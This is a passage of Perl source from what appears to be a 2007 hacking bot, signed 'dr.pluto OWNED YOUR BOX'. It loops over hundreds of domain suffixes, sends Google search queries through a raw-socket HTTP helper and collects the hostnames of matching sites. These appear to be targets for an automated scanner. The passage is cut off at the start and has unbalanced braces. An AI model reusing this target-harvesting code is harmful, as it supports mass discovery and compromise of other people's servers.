my @dominios = ("com","net","org","info","gov","gob","gub","xxx","it","uk","wx","eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec","py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop","af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi","vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk","ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir","iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke","ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm","na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc","sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz","vu","vn","ye","yu","cd","zm","zw","");

my @str;


foreach $dom (@dominios)
{
   push (@str,"@gstring");
}

    my $query="www.google.com/search?q=";
    $query.=$str[(rand(scalar(@str)))];
    $query.="&start=$b";
    my @lst=();
    my $page = http_query($query);
    while ($page =~  m/<h2 class=r><a href=\"?http:\/\/([^>\"]+)\"? class=l/g){
         push (@lst,$1);
    }
    return (@lst);
}

sub http_query($){
    my ($url) = @_;
    my $host=$url;
    my $query=$url;
    my $page="";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~s/$host//;
    if ($query eq "") {$query="/";};
    eval {
local $SIG{ALRM} = sub { die "1";};
alarm 10;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
    };

   return $page;
}
}
# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com
# NOTE: DONT REMOVE COPYRIGHTS
# dr.pluto (C) www.kamarmayat.org 2007